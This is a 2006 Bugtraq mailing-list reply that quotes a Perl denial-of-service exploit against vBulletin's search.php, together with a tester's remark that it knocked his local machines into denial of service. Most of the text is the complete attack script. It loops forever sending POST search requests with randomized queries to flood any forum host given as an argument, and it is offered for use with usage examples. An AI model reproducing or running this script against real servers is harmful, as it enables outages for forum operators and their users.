RE: VBulletin DoS Exploit [ all Versions ]

[Bart Seresia]

Tested it on 2 of my local machines, non of them really crashed. But thy
both went in DOS. So I guess that part works ;-)

Tested it on vBulletin, version 3.5.4

-----Oorspronkelijk bericht-----
Van: root@h4x0r.ir [mailto:root@h4x0r.ir]
Verzonden: zaterdag 11 november 2006 4:42
Aan: bugtraq@securityfocus.com
Onderwerp: VBulletin DoS Exploit [ all Versions ]

# VBulletin DoS Exploit by www.h4x0r.ir
#
# The exploit was tested on 15 machines And 13 of them got Crashed. 98%
Works ;)
#
# important => Image Verification in (search.php) is NOT Enabled.

# It works on 3.6.3 and prior [all] !
#
#Perl Script
use Socket;
if (@ARGV < 2) { &usage; }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/(http:\/\/)//eg;
for ($i=0;
$i<99999999999999999999999999999999999999999999999999 99999999999999999999;
$i++)
{
$user="h4x0r".$rand.$i;
$data =
"s=&do=process&query=$user&titleonly=0&starteronly=0&exactname=1&replyless=0
&replylimit=3&searchdate=1&beforeafter=before&sortby=title&order=descending&
showposts=1&forumchoice[]=0&childforums=1&dosearch=Search%20Now";
$len = length $data;
$foo = "POST ".$dir."search.php HTTP/1.1\r\n".
"Accept: */*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "|" ;

}
print "\n\n";
system('ping $host');
sub usage {
print "\tusage: \n";
print "\t$0 <host> </dir/>\n";
print "\tex: $0 127.0.0.1 /forum/\n";
print "\tex2: $0 127.0.0.1 / (if there isn't a dir)\n\n";
print "\th4x0r Security Team\n";
print "\twww.h4x0r.ir\n\n";




exit();
};

# Exploit By www.h4x0r.ir